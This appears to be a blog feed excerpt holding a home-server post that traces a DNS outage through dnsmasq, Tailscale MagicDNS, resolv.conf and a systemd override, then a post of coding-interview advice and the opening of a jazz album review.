<p><strong>Knowledge:</strong> This is a DNS issue; <a rel="external" href="https://isitdns.com/">it's always DNS</a>. I've previously configured <code>treebeard</code>, my home server, to act as the DNS server for my local network, so we should look there.</p> <p><strong>Hypothesis:</strong> before checking the DNS server specifically, is something wrong with <code>treebeard</code> overall? Time to do my best <a rel="external" href="https://www.brendangregg.com/Articles/Netflix_Linux_Perf_Analysis_60s.pdf">Brendan Gregg</a> impression…</p> <pre><code>josh@treebeard:~$ uptime 16:37:16 up 7:18, 2 users, load average: 4.12, 4.50, 4.60 </code></pre> <p><strong>Observation:</strong> Uhh, that seems way higher than I'd expect. (For the uninitiated: the "load average" in that output counts how many tasks have been waiting to run in the past little while<sup class="footnote-reference"><a href="#load-average">1</a></sup>—given that this server is usually idle, I'd expect those numbers to all be well under one).</p> <p>A quick glance at <code>top</code> reveals that <code>tailscaled</code> is using 400% CPU. Let's check the logs:</p> <pre><code>josh@treebeard:~$ journalctl -u tailscaled -f Jun 17 21:13:22 treebeard tailscaled[71934]: trying bootstrapDNS(&quot;derp24c.tailscale.com&quot;, &quot;208.83.233.233&quot;) for &quot;log .tailscale.com&quot; ... Jun 17 21:13:23 treebeard tailscaled[71934]: trying bootstrapDNS(&quot;derp7d.tailscale.com&quot;, &quot;2403:2500:400:20::cfe&quot;) fo r &quot;log.tailscale.com&quot; ... Jun 17 21:13:23 treebeard tailscaled[71934]: bootstrapDNS(&quot;derp7d.tailscale.com&quot;, &quot;2403:2500:400:20::cfe&quot;) for &quot;log. tailscale.com&quot; error: Get &quot;https://derp7d.tailscale.com/bootstrap-dns?q=log.tailscale.com&quot;: dial tcp [2403:2500:400: 20::cfe]:443: connect: network is unreachable Jun 17 21:14:03 treebeard tailscaled[71934]: [RATELIMIT] format(&quot;dns: resolver: forward: no upstream resolvers set, returning SERVFAIL&quot;) (19 dropped) Jun 17 21:14:03 treebeard tailscaled[71934]: dns: resolver: forward: no upstream resolvers set, returning SERVFAIL Jun 17 21:14:03 treebeard tailscaled[71934]: dns: resolution failed due to missing upstream nameservers. Recompilin g DNS configuration. Jun 17 21:14:03 treebeard tailscaled[71934]: dns: Set: {DefaultResolvers:[] Routes:{} SearchDomains:[] Hosts:9} Jun 17 21:14:03 treebeard tailscaled[71934]: dns: Resolvercfg: {Routes:{} Hosts:9 LocalDomains:[]} Jun 17 21:14:03 treebeard tailscaled[71934]: dns: OScfg: {} Jun 17 21:14:03 treebeard tailscaled[71934]: dns: resolver: forward: no upstream resolvers set, returning SERVFAIL Jun 17 21:14:03 treebeard tailscaled[71934]: dns: resolver: forward: no upstream resolvers set, returning SERVFAIL Jun 17 21:14:03 treebeard tailscaled[71934]: dns: resolver: forward: no upstream resolvers set, returning SERVFAIL Jun 17 21:14:03 treebeard tailscaled[71934]: dns: resolver: forward: no upstream resolvers set, returning SERVFAIL Jun 17 21:14:03 treebeard tailscaled[71934]: [RATELIMIT] format(&quot;dns: resolver: forward: no upstream resolvers set, returning SERVFAIL&quot;) </code></pre> <p>Hmmmmmmmm. And how about dnsmasq itself:</p> <pre><code>journalctl -u dnsmasq -f Jun 17 15:36:37 treebeard dnsmasq[12222]: failed to send packet: Operation not permitted Jun 17 15:36:41 treebeard dnsmasq[12222]: Maximum number of concurrent DNS queries reached (max: 150) # (After restarting dnsmasq) Jun 17 15:39:36 treebeard dnsmasq[71406]: reading /run/dnsmasq/resolv.conf Jun 17 15:39:36 treebeard dnsmasq[71406]: ignoring nameserver 192.168.8.250 - local interface Jun 17 15:39:36 treebeard dnsmasq[71406]: using nameserver 100.100.100.100#53 </code></pre> <p><strong>Hypothesis:</strong> something is misconfigured somewhere in my DNS/Tailscale setup. Also, it seems like there's way too many DNS queries in flight at once—unclear if that's related or a separate issue.</p> <p><strong>Experiment:</strong> let's just shut off Tailscale entirely for now and see if we can get dnsmasq back to a healthy state. Tailscale's DNS server lives at 100.100.100.100, so let's remove any references to that we find. (From the <code>tailscaled</code> logs, it looks like it's missing an upstream location to which to forward DNS requests it can't answer by itself—we could probably fix that misconfiguration, but let's first start by simplifying as much as possible.) I saw <code>/run/dnsmasq/resolv.conf</code> in the dnsmasq logs, so let's start there.</p> <aside> <code>9.9.9.9</code> is a DNS server operated by <a rel="external" href="https://quad9.net/about/">Quad9</a>. You can tell it's good because they're Swiss. </aside> <pre><code>josh@treebeard:~$ cat /run/dnsmasq/resolv.conf nameserver 192.168.8.250 nameserver 100.100.100.100 # Then, after editing /run/dnsmasq/resolv.conf: josh@treebeard:~$ cat /run/dnsmasq/resolv.conf nameserver 9.9.9.9 </code></pre> <p><strong>Observation:</strong> changes to that file seem to be picked up immediately by dnsmasq:</p> <pre><code>Jun 17 21:21:39 treebeard dnsmasq[72630]: reading /run/dnsmasq/resolv.conf Jun 17 21:21:39 treebeard dnsmasq[72630]: using nameserver 9.9.9.9#53 </code></pre> <p><strong>Observation:</strong> browsing the web seems to work as expected again! Let's validate that with an explicit DNS query from my desktop:</p> <aside> The <code>+identify</code> option tells <code>dig</code> to print which DNS server was used for the query—super useful for the debugging we're doing. </aside> <pre><code>[josh@galadriel ~]$ dig +short +identify cbc.ca 96.7.25.105 from server 192.168.8.250 in 63 ms. </code></pre> <p><strong>Knowledge:</strong> 192.168.8.250 is <code>treebeard</code>'s private IP address, so everything looks good here.</p> <p><strong>Experiment:</strong> if I bring <code>tailscaled</code> back up, but with <a rel="external" href="https://tailscale.com/kb/1081/magicdns#disabling-magicdns">MagicDNS disabled</a>, does everything still work?</p> <pre><code>josh@treebeard:~$ sudo systemctl start tailscaled josh@treebeard:~$ sudo tailscale set --accept-dns=false josh@treebeard:~$ uptime 21:30:54 up 12:12, 2 users, load average: 0.25, 0.19, 0.33 </code></pre> <p>Eh, I still see the same weird DNS-related logs from <code>tailscaled</code>, but dnsmasq isn't on fire anymore and CPU usage seems normal. Plus my usual "does my tailnet work outside my home?" test is passing: on my phone, toggle WiFi off, data on, Tailscale on, then try to connect to one of my self-hosted services. It works!</p> <h2 id="whose-dns-config-is-it-anyway">Whose DNS config is it anyway?</h2> <p>Whew, this is a good place for a breather: my home WiFi is functioning as expected, and <code>treebeard</code> is looking healthy now. But this whole ordeal has exposed that my DNS setup on <code>treebeard</code> has been working more by chance than anything else—it'd be nice to build a deeper understanding of how all this is configured.</p> <p>How does one gain deeper insight into Unix networking configuration? In 2025, the answer is obvious: ask ChatGPT, then corroborate with <a rel="external" href="https://wiki.archlinux.org/title/Domain_name_resolution">Arch Wiki</a>, <a rel="external" href="https://unix.stackexchange.com/questions/738701/what-is-the-order-in-which-linux-resolves-dns">StackOverflow</a>, and related Wikipedia pages. This section summarizes my learnings therefrom.</p> <h3 id="the-big-picture">The big picture</h3> <p>Say some program on your (Unix) computer wants to do a DNS lookup. What happens next? The process will likely look something like this:</p> <ol> <li>The program calls a <a rel="external" href="https://en.wikipedia.org/wiki/Glibc">glibc</a> function like <code>getaddrinfo</code>.</li> <li><code>getaddrinfo</code> will call into glibc's internal <a rel="external" href="https://en.wikipedia.org/wiki/Name_Service_Switch">Name Service Switch</a> (NSS) machinery, which reads <code>/etc/nsswitch.conf</code> to figure out <em>how</em> it should resolve the host name to an IP address.</li> <li>If <code>dns</code> is listed as an option on the relevant <code>/etc/nsswitch.conf</code> line, the NSS resolver will read <code>/etc/resolve.conf</code> to find which DNS servers to query.</li> </ol> <aside> As the <a rel="external" href="https://wiki.archlinux.org/title/Domain_name_resolution#Resolve_a_domain_name_using_NSS">Arch Wiki</a> notes, you can use <code>getent</code> to resolve a domain name specifically via NSS. </aside> <p>Of course, a program doesn't <em>have</em> to follow those steps—you could write a program that accepts a domain name from a user then explicitly sends a DNS query to <code>9.9.9.9</code> to resolve that name. But doing so is (usually) a Bad Idea™ that will anger your local sysadmin: if a user has some custom DNS configuration (presumably for a good reason!), your program will completely ignore it.</p> <p>Let's walk through those steps on <code>treebeard</code> to ensure we can follow exactly what's going on.</p> <h3 id="etc-nsswitch-conf"><code>/etc/nsswitch.conf</code></h3> <p>As we just learned, <code>/etc/nsswitch.conf</code> is the main entry point, so let's make sure it looks okay first:</p> <pre><code>josh@treebeard:~$ cat /etc/nsswitch.conf # /etc/nsswitch.conf # # Example configuration of GNU Name Service Switch functionality. # If you have the `glibc-doc-reference&#39; and `info&#39; packages installed, try: # `info libc &quot;Name Service Switch&quot;&#39; for information about this file. passwd: files systemd group: files systemd shadow: files gshadow: files hosts: files mdns4_minimal [NOTFOUND=return] dns networks: files protocols: db files services: db files ethers: db files rpc: db files netgroup: nis </code></pre> <p>Yep, <code>/etc/nsswitch.conf</code> looks fine to me. The <code>hosts</code> line is the one we care about:</p> <pre><code>hosts: files mdns4_minimal [NOTFOUND=return] dns </code></pre> <p>That config line specifies that there are three possible "sources" for the <code>hosts</code> database; i.e., when trying to resolve a domain name, use these sources in order. In more detail those are:</p> <ol> <li><code>files</code>: check for a match in <code>/etc/hosts</code>. (No network requests required!)</li> <li><code>mdns4_minimal</code>: attempt to resolve the host via <a rel="external" href="https://en.wikipedia.org/wiki/Multicast_DNS">multicast DNS</a> (herein mDNS). <ul> <li><code>[NOTFOUND=return]</code>: since the <code>.local</code> domain is only intended for use over mDNS, if mDNS runs successfully but responds "that host doesn't exist," <em>don't continue</em>. Again, <code>.local</code> is only intended for use in personal networks; hitting an external DNS server to resolve such a host basically never makes sense. This directive ensures we abort before attempting to do so.</li> <li>Somewhat related: mDNS was the subject of my first <a href="https://simpsonian.ca/blog/debugging-mdns/">Sysadmin Sunday</a>.</li> </ul> </li> <li><code>dns</code>: attempt "traditional" DNS resolution (i.e. actually send good ol' DNS requests on port 53), reading <code>/etc/resolv.conf</code> to discover the DNS servers to query.</li> </ol> <p>Or if you prefer that in pictures:</p> <figure> <img src="/blog/my-vacuum-killed-my-wifi/./nsswitch_example.png" alt="Diagram of how DNS resolution (via NSS) works on treebeard" class="centre"> <figcaption><p>A visual representation of how DNS resolution (via NSS) works on <code>treebeard</code></p> </figcaption> </figure> <p>To give an example of when each source might be used, let's consider looking up the following hosts on <code>treebeard</code>:</p> <ul> <li> <p><code>treebeard</code>: Since I have the line <code>127.0.1.1 treebeard</code> in my <code>/etc/hosts</code>, this is resolved directly by the <code>files</code> source.</p> </li> <li> <p><code>nasgul.local</code>: As we saw before, <code>.local</code> is a special domain that is only meant to be resolved via mDNS, so this will be handled by the <code>mdns4_minimal</code> source, after the <code>files</code> source fails to find a match.</p> </li> <li> <p><code>doesnotexist.local</code>: same as above, but the host doesn't actually exist. mDNS resolution will still be triggered (because it's a <code>.local</code> domain), but once mDNS returns "name not found," the <code>dns</code> source in <code>nsswitch.conf</code> will <em>not</em> be used (because of the earlier <code>[NOTFOUND=return]</code> directive).</p> </li> <li> <p><code>jellyfin.simpsonian.ca</code>: this won't be covered by <code>files</code> or <code>mdns4_minimal</code>, so <code>dns</code> will give it a shot. In this case, <code>treebeard</code> itself is running the DNS server (dnsmasq), so we want to make sure the <code>dns</code> source in <code>/etc/nsswitch.conf</code> uses <code>treebeard</code>'s IP as the nameserver to query. We'll do that <a href="https://simpsonian.ca/blog/my-vacuum-killed-my-wifi/#the-mystery-of-etc-resolv-conf">later</a> by editing <code>/etc/resolv.conf</code>. (For the motivation behind this "split-horizon" DNS setup, see <a href="https://simpsonian.ca/blog/securing-home-network-dnsmasq-tailscale/">this post</a>.)</p> <ul> <li>If all goes as expected, dnsmasq will be able to answer this query itself; we'll give it an explicit configuration mapping <code>jellyfin.simpsonian.ca</code> to an IP address on the local network.</li> </ul> </li> <li> <p><code>cbc.ca</code>: like before, this can only be handled by <code>dns</code>. However, in this case dnsmasq won't have an explicit entry for the host, so it will need to forward that DNS query to an upstream DNS server—we'll configure that next in the dnsmasq config.</p> </li> </ul> <h3 id="the-mystery-of-etc-resolv-conf">The mystery of <code>/etc/resolv.conf</code></h3> <p>So far, so good: with our newfound understanding of <code>/etc/nsswitch.conf</code>, we know we need to update <code>/etc/resolv.conf</code> to point right back to localhost, so that dnsmasq answers any of <code>treebeard</code>'s own DNS queries. Let's see what we're dealing with there:</p> <pre><code>josh@treebeard:~$ cat /etc/resolv.conf # resolv.conf(5) file generated by tailscale # For more info, see https://tailscale.com/s/resolvconf-overwrite # DO NOT EDIT THIS FILE BY HAND -- CHANGES WILL BE OVERWRITTEN nameserver 100.100.100.100 search tailaf9b3.ts.net tailaf9b3.ts.net </code></pre> <p>If you've ever cracked open <code>/etc/resolv.conf</code>, or other config files, you've likely seen a similar "DON'T EDIT THIS YOUR CHANGES WILL DISAPPEAR" admonishment. This awkwardness is inherent when configuration data lives in a single file: in a world where a single superuser is editing that file by hand, there's no issue, but when multiple services (include the user) want to manage it, how can they collaborate? There's no foolproof algorithm to apply certain changes to an arbitrary config and make everyone happy. So in practice, one service tends to commandeer the config (like we're seeing here), and adds a scary warning to give the user a heads-up.</p> <p>So who exactly is responsible for <code>/etc/resolv.conf</code> right now? <em>Seems</em> like it's Tailscale, given the comment, but running some other ChatGPT-supplied diagnostics shows a couple other possibilities:</p> <pre><code>josh@treebeard:~$ sudo which resolvconf /usr/sbin/resolvconf # So maybe resolvconf is in charge? josh@treebeard:~$ systemctl is-active systemd-resolved active # ...but systemd also claims to be doing things? josh@treebeard:~$ file /etc/resolv.conf /etc/resolv.conf: ASCII text josh@treebeard:~$ readlink -f /etc/resolv.conf # ...but also the config isn&#39;t a symlink?? </code></pre> <p>To be honest, I'm still not fully sure what happened here; I can only imagine it was a gruesome and gorey battle between daemons, the detritus of which is all that remains for us unlucky viewers.</p> <p>…but given that <code>/etc/resolv.conf</code> is not currently a <a rel="external" href="https://en.wikipedia.org/wiki/Symbolic_link">symlink</a>, I don't <em>think</em> anything else is going to try to monkey with it? So let's take full control ourselves and see if we get clobbered:</p> <pre><code># (After editing in vim) josh@treebeard:~$ cat /etc/resolv.conf # Note to self: I want full manual control over this config (as opposed to having it managed by systemd/etc.). # We&#39;re running dnsmasq on this server, so all DNS queries should go there (i.e. localhost). # We&#39;ll configure dnsmasq separately to specify its upstream DNS servers. nameserver 127.0.0.1 </code></pre> <p>Remember, right now we're telling <code>treebeard</code> which IP address to use for DNS resolution—since dnsmasq is running on treebeard itself, we want localhost to be the nameserver.</p> <p>But of course, dnsmasq on <code>treebeard</code> won't be able to answer most DNS queries by itself (i.e. it won't know the IP address for <code>cbc.ca</code> without consulting an external source); it will need to forward those to an external DNS server. We specify those nameservers with the <code>server</code> directive in <code>/etc/dnsmasq.conf</code>. Like before, let's use Quad9:</p> <pre><code># (After editing in vim) josh@treebeard:~$ grep ^server /etc/dnsmasq.conf server=9.9.9.9 </code></pre> <h3 id="a-runner-in-the-night">A <code>/run</code>ner in the night</h3> <p>Earlier, we saw that <code>treebeard</code> was getting its upstream DNS servers from <code>/run/dnsmasq/resolv.conf</code>. By hand-editing that file to contain only the single nameserver I want, we were able to get things working. But that's not a long-term solution, because <em>something</em> keeps recreating <code>/run/dnsmasq/resolv.conf</code> every time I restart dnsmasq, which interferes with our lovingly crafted <code>/etc/dnsmasq.conf</code>…</p> <pre><code>josh@treebeard:~$ sudo systemctl restart dnsmasq josh@treebeard:~$ ls -l /var/run/dnsmasq/resolv.conf -rw-r--r-- 1 root root 52 Jun 19 12:42 /var/run/dnsmasq/resolv.conf josh@treebeard:~$ sudo rm /var/run/dnsmasq/resolv.conf josh@treebeard:~$ ls -l /var/run/dnsmasq/resolv.conf ls: cannot access &#39;/var/run/dnsmasq/resolv.conf&#39;: No such file or directory josh@treebeard:~$ sudo systemctl restart dnsmasq josh@treebeard:~$ ls -l /var/run/dnsmasq/resolv.conf -rw-r--r-- 1 root root 52 Jun 19 12:42 /var/run/dnsmasq/resolv.conf </code></pre> <p>This isn't a practical problem, because adding <code>no-resolv</code> to <code>/etc/dnsmasq.conf</code> prevents dnsmasq from reading <code>/var/run/dnsmasq/resolv.conf</code>, but I want to get to the bottom of this—what's creating that file?</p> <aside> To find the unit file, I started by manually checking <code>/etc/systemd/{system,user}</code>, based on some foggy memory of where unit files are usually stored. Those directories had some units, but not dnsmasq. I then guessed that <code>systemctl status dnsmasq</code> might show where the unit is located, and indeed it does—that pointed me to <code>/lib/systemd/system/dnsmasq.service</code>. After the fact, I learned that <code>systemctl {cat,show} dnsmasq</code> would've been easier: <code>cat</code> prints the unit file path and its contents (along with any overrides); <code>show</code> lists all the properties of the unit (also after considering overrides). </aside> <p>I know I can use <code>lsof</code> to show files being held open by processes, but my guess is that whatever creates this exits immediately, so <code>lsof</code> won't spot it. (And if the main dnsmasq process is holding it open after reading it, that's not much help either.) How can we set up some kind of "monitor" to catch the file creation? ChatGPT suggests either <code>auditd</code> or <code>inotifyctl</code>, but I don't have either of them installed. Before trying those, let's look at how dnsmasq is specifically being invoked on <code>treebeard</code> by peeking at the systemd unit file:</p> <pre><code>josh@treebeard:~$ systemctl cat dnsmasq # /lib/systemd/system/dnsmasq.service [Unit] Description=dnsmasq - A lightweight DHCP and caching DNS server Requires=network.target Wants=nss-lookup.target Before=nss-lookup.target After=network.target [Service] Type=forking PIDFile=/run/dnsmasq/dnsmasq.pid # Test the config file and refuse starting if it is not valid. ExecStartPre=/etc/init.d/dnsmasq checkconfig # We run dnsmasq via the /etc/init.d/dnsmasq script which acts as a # wrapper picking up extra configuration files and then execs dnsmasq # itself, when called with the &quot;systemd-exec&quot; function. ExecStart=/etc/init.d/dnsmasq systemd-exec # The systemd-*-resolvconf functions configure (and deconfigure) # resolvconf to work with the dnsmasq DNS server. They&#39;re called like # this to get correct error handling (ie don&#39;t start-resolvconf if the # dnsmasq daemon fails to start). ExecStartPost=/etc/init.d/dnsmasq systemd-start-resolvconf ExecStop=/etc/init.d/dnsmasq systemd-stop-resolvconf ExecReload=/bin/kill -HUP $MAINPID [Install] WantedBy=multi-user.target </code></pre> <p>Hmm, these lines seem pretty suspicious:</p> <pre><code># The systemd-*-resolvconf functions configure (and deconfigure) # resolvconf to work with the dnsmasq DNS server. They&#39;re called like # this to get correct error handling (ie don&#39;t start-resolvconf if the # dnsmasq daemon fails to start). ExecStartPost=/etc/init.d/dnsmasq systemd-start-resolvconf ExecStop=/etc/init.d/dnsmasq systemd-stop-resolvconf </code></pre> <p>Snooping around in <code>/etc/init.d/dnsmasq</code> gives us all the details:</p> <pre><code>josh@treebeard:~$ grep -m 1 -A 18 &quot;RESOLV_CONF&quot; /etc/init.d/dnsmasq # RESOLV_CONF: # If the resolvconf package is installed then use the resolv conf file # that it provides as the default. Otherwise use /etc/resolv.conf as # the default. # # If IGNORE_RESOLVCONF is set in /etc/default/dnsmasq or an explicit # filename is set there then this inhibits the use of the resolvconf-provided # information. # # Note that if the resolvconf package is installed it is not possible to # override it just by configuration in /etc/dnsmasq.conf, it is necessary # to set IGNORE_RESOLVCONF=yes in /etc/default/dnsmasq. if [ ! &quot;${RESOLV_CONF}&quot; ] &amp;&amp; [ &quot;${IGNORE_RESOLVCONF}&quot; != &quot;yes&quot; ] &amp;&amp; [ -x /sbin/resolvconf ] then RESOLV_CONF=/run/dnsmasq/resolv.conf fi josh@treebeard:~$ grep -A 18 &quot;start_resolvconf()&quot; /etc/init.d/dnsmasq start_resolvconf() { # If interface &quot;lo&quot; is explicitly disabled in /etc/default/dnsmasq # Then dnsmasq won&#39;t be providing local DNS, so don&#39;t add it to # the resolvconf server set. for interface in ${DNSMASQ_EXCEPT}; do [ ${interface} = lo ] &amp;&amp; return done # Also skip this if DNS functionality is disabled in /etc/dnsmasq.conf if grep -qs &#39;^port=0&#39; /etc/dnsmasq.conf; then return fi if [ -x /sbin/resolvconf ] ; then echo &quot;nameserver 127.0.0.1&quot; | /sbin/resolvconf -a lo.${NAME}${INSTANCE:+.${INSTANCE}} fi return 0 } </code></pre> <p>So it looks like dnsmasq sets <code>RESOLV_CONF=/run/dnsmasq/resolv.conf</code>, then calls <code>resolvconf</code> (if available) to fill out that config file. That makes some sense to me: dnsmasq recognizes that <code>resolvconf</code> should be the "canonical" source for this information, and so dnsmasq intentionally defers to <code>resolvconf</code>.</p> <p>But where does <code>resolvconf</code> get its configs?? ChatGPT points me to <code>/run/resolvconf/interface</code>, which indeed seems to be the place:</p> <pre><code>josh@treebeard:~$ for FILE in /run/resolvconf/interface/*; do echo &quot;$FILE&quot;; cat &quot;$FILE&quot;; done /run/resolvconf/interface/eth0.dhclient domain lan nameserver 192.168.8.250 /run/resolvconf/interface/lo.dnsmasq nameserver 127.0.0.1 /run/resolvconf/interface/systemd-resolved nameserver 100.100.100.100 search tailaf9b3.ts.net </code></pre> <p>We could go even deeper here (how were <em>those</em> configs created?), but my curiosity is satiated for today. Let's disable those <code>ExecStartPost</code> and <code>ExecStop</code> directives we saw in the unit file earlier and lay <code>/run/dnsmasq/resolv.conf</code> to rest once and for all. Manually editing <code>/lib/systemd/system/dnsmasq.service</code> seems unhygienic to me; ChatGPT redirects me to <code>systemctl edit dnsmasq</code>, which instead creates an override file—neat!</p> <pre><code>josh@treebeard:~$ systemctl cat dnsmasq | grep -E &#39;Exec(StartPost|Stop)&#39; ExecStartPost=/etc/init.d/dnsmasq systemd-start-resolvconf ExecStop=/etc/init.d/dnsmasq systemd-stop-resolvconf josh@treebeard:~$ sudo systemctl edit dnsmasq.service # Add the following override in the editor: # [Service] # ExecStartPost= # ExecStop= josh@treebeard:~$ sudo systemctl daemon-reexec josh@treebeard:~$ sudo systemctl daemon-reload josh@treebeard:~$ sudo systemctl restart dnsmasq # Unsure if I needed _all_ of those; copy-pasting from the AI... josh@treebeard:~$ systemctl cat dnsmasq | grep -E &#39;Exec(StartPost|Stop)&#39; ExecStartPost=/etc/init.d/dnsmasq systemd-start-resolvconf ExecStop=/etc/init.d/dnsmasq systemd-stop-resolvconf ExecStartPost= ExecStop= </code></pre> <p>And now for the moment of truth:</p> <pre><code>josh@treebeard:~$ ls -l /run/dnsmasq/resolv.conf -rw-r--r-- 1 root root 52 Jun 19 12:42 /run/dnsmasq/resolv.conf josh@treebeard:~$ sudo rm /run/dnsmasq/resolv.conf josh@treebeard:~$ ls -l /run/dnsmasq/resolv.conf ls: cannot access &#39;/run/dnsmasq/resolv.conf&#39;: No such file or directory josh@treebeard:~$ sudo systemctl restart dnsmasq josh@treebeard:~$ ls -l /run/dnsmasq/resolv.conf ls: cannot access &#39;/run/dnsmasq/resolv.conf&#39;: No such file or directory # Success! File was not created after restarting the service. </code></pre> <p>🥳</p> <h2 id="summary">Summary</h2> <p>Wow, that took longer than expected. But the end result is exactly what we wanted: everything on my local network uses <code>treebeard</code> to resolve DNS queries (including <code>treebeard</code> itself). dnsmasq on <code>treebeard</code> is configured to resolve most <code>*.simpsonian.ca</code> queries by itself, and anything it can't resolve gets routed upstream to <code>9.9.9.9</code>. Tailscale's MagicDNS is disabled on <code>treebeard</code>—with everything we've learned, I'm sure I could get it to play nicely with the rest of our configurations, but I wasn't using MagicDNS anyways, so let's leave it off.</p> <h2 id="root-causes">Root causes</h2> <p>So, what was the actual inciting incident that led to all this gnashing of the teeth? Well, I live in an fairly old apartment building (without central AC), and I was hosting some visitors from out of town. Accordingly, I had a portable AC unit running and started to take care of the vacuuming—but as it turns out, a 15-amp circuit can't support a refrigerator, portable AC, vacuum, and all my home electronics. Not for long, anyways.</p> <p>Specifically, here's my best guess at the causal pathway:</p> <ol> <li>I update Tailscale over the course of months without actually ever restarting it.</li> <li>One day, I run the vacuum cleaner on a busy circuit, causing a fuse to blow.</li> <li>All my home electronics violently lose power.</li> <li>As a side effect, <code>treebeard</code> is restarted, and there's something wrong with the resulting mess of DNS-related config files post-reboot.</li> <li>Oh also, I think I might've partially fried my old router; that started showing double-digit packet loss on the <em>internal</em> network too. But that's a story for another day…</li> </ol> <p>So like I said: my vacuum cleaner killed my WiFi. But at least now I know how to fix it.</p> <p>Until next time, may all your DNS queries resolve successfully.</p> <h3 id="addendum">Addendum</h3> <p>For the brave souls that made it through that great slog, allow me to reward you with a story this whole saga reminded me of. Many moons ago, when I was still fresh-faced and full of zeal, I did an internship at Facebook. When something went bigly wrong at Facebook, the policy was to write up a postmortem detailing exactly what 'sploded, and how it came to pass. Well, one day some trees fell and severed some cables at a data centre, leading to a partial outage and this all-time great example of dry wit:</p> <blockquote> <p><strong>SEV-551 Postmortem</strong></p> <p>Description: a number of trees fell, severing all links to a data centre, causing 24% of all traffic to be dropped for 46 minutes.</p> <p>Root cause: yes.</p> </blockquote> <hr> <div class="footnote-definition" id="load-average"><sup class="footnote-definition-label">1</sup> <p>Technically it's the exponential weighted moving average of that count, evaluated for the past 1, 5, and 15 minutes.</p> </div> 2025-06-18T00:00:00+00:00 2025-06-18T00:00:00+00:00 https://simpsonian.ca/blog/how-to-wow-your-technical-interviewer/ <p>You're crushing it: we were impressed by your beautiful LaTeX résumé (that was totally <em>not</em> from a common template), you aced our technical screen, and you charmed our Talent team, but now it's time for your biggest test yet—the live coding interview. Are you ready?</p> <span id="continue-reading"></span> <p>I've been interviewing backend engineers at $DAYJOB for over a year now, and in that time I've seen many candidates get tripped up by bad coding habits that are easy to avoid. I'll cover those in this article and try to set you up for career success. Bad news: this article won't give you the cheat code to pass every technical interview. Good news: it might give you some advice that will help you in <em>all</em> your technical interviews, and possibly your programming in general.</p> <p>A couple disclaimers: first, I'm assuming that you'll be asked to produce actual working code that you can run in the interview (as opposed to a "whiteboard"-style interview where pseudocode is acceptable and the focus is mostly on pure algorithm design and analysis). Secondly, I started drafting this post a few months ago, which in our current AI landscape is approximately an eternity. Will all software engineering soon be subsumed into mere vibe-coding, thus rendering this article entirely worthless? Who knows! But on the off chance humans writing code remains relevant, let's dive in.</p> <h2 id="practice-the-practical">Practice the practical</h2> <p>Maybe you've been on that LeetCode grind, and their so-called "hard" problems pose as much challenge to you as reversing a string—that's awesome! But solving real-world problems requires practical skills in addition to theory, and where I work, we try to structure our interviews to reflect that: we're more likely to ask "can you build this?" than "<a rel="external" href="https://x.com/mxcl/status/608682016205344768">can you invert a binary tree</a>?". In that vein, here are a few common tasks that should be close to muscle memory:<sup class="footnote-reference"><a href="#muscle-memory">1</a></sup></p> <ul> <li>Open and process a file <ul> <li>What if it's CSV data? Bonus for Python users: can you do it without <code>pandas</code>, and why might you want to do so?</li> </ul> </li> <li>Interact with an API over HTTP</li> <li>Parse &amp; process HTML/XML <ul> <li>Can you articulate how this is different than the last point? (The answer is not "APIs are in JSON"…)</li> </ul> </li> <li>Write a regular expression</li> <li>Add a simple CLI to your code</li> <li>Comfortably navigate the command line</li> </ul> <p>In our interviews, you can use any programming language you like—use that to your advantage, and pick something that you'll be able to impress us with! If you're a Scala wizard, I'd rather see you flaunt that rather than have you guess at Python syntax.</p> <h2 id="organize-your-code-for-you-not-us">Organize your code (for you, not us)</h2> <p>It's normal to feel pressured for time in coding interviews, and a common reaction is to abandon programming best practices and write one big script filled with globals.</p> <p>We certainly don't expect interview code to match exactly what you'd push to prod, but here's my hot take: I think properly structuring your code can actually make you faster overall. Breaking down the overall problem into a series of subproblems means most functions you need to implement are simple, and testing them individually prevents silly bugs from tripping you up ten minutes later.</p> <p>Furthermore, even if organizing your code does take a bit more time, it shows your interviewer that you can identify distinct subcomponents in the problem and build relevant interfaces to abstract them. Especially as you become more senior, this kind of design work is an important software development skill—why not take any opportunity to show off your chops?</p> <h2 id="test-like-you-mean-it">Test like you mean it</h2> <p>I can't tell you how many times I've seen code like this:</p> <pre><code>print(my_func(5)) # should return 13 </code></pre> <p>The candidate runs their code, sees the expected <code>13</code>, and all is good… until they move on to the next part of the question, refactor <code>my_func</code>, and break the original behaviour. Usually that <code>print</code> "test" has been commented out or otherwise ignored, and now a time-sucking bugstorm is brewing—one that could have been entirely avoided by writing a "proper" test like:</p> <pre><code>assert my_func(5) == 13 </code></pre> <p>(It's even shorter than the <code>print</code> + comment version!)</p> <h2 id="keep-a-scientific-mindset">Keep a scientific mindset</h2> <p>Even with the greatest code organization and solid testing, something is bound to go wrong eventually. When that happens, we want to see how you solve it.</p> <p>A common (but ineffective) debugging strategy is "guess-and-check:" glance at the code, randomly permute a line, then run again and see if it works. As an interviewer, that doesn't give me much confidence that you really understand your code or what went wrong.</p> <p>Better yet is to approach it like a science experiment: examine all the evidence before you (yes, that means reading the <em>whole</em> error message—it's amazing how often people miss answers here), formulate a hypothesis, and <em>test it</em>. One of the joys of software is how easy it is to gather data. Don't guess when you can verify!</p> <p>Also: <code>print</code> statements can get you a long way, but brushing up on your language's debugger support will often yield even greater dividends in the long run.</p> <h2 id="know-thyself">Know thyself</h2> <p>Using proper technical terminology—where appropriate—is great. But guessing isn't. If you've just finished that advanced algorithms class and can prove the amortized runtime of your data structure's operations, go for it! But if not, we'd rather see you honestly communicate the limits of your knowledge rather than confidently get something wrong.</p> <h2 id="conclusion">Conclusion</h2> <p>I hope these tips help you write better software—in interviews, and elsewhere too.</p> <p>Until next time, may the job offers be plentiful, and the commas abundant.</p> <hr> <div class="footnote-definition" id="muscle-memory"><sup class="footnote-definition-label">1</sup> <p>In my opinion, needing to look up some finer details in the docs (e.g., how to make your regex case-insensitive) is fine, but if you can't do <em>any</em> of these without external help, that's a heavy tax on your productivity and suggests a lack on hands-on programming experience.</p> </div> 2025-06-17T00:00:00+00:00 2025-06-17T00:00:00+00:00 https://simpsonian.ca/fifty-weeks-of-jazz/week-23/ <p>We're back in jazz fusion land, with a fun chain of connections leading to this week's album: we first started getting funky with <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-20/">Herbie Hancock</a>, who was also instrumental in Jaco Pastorius's <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-22/">debut album</a>. Jaco is back again this week as the sole bassist for this Weather Report album—a gig he secured by approaching the band's leader, Joe Zawinul, after a show and proclaiming "I'm John Francis Pastorius III. I'm the greatest bass player in the world." ("As was [Jaco's] habit," <a rel="external" 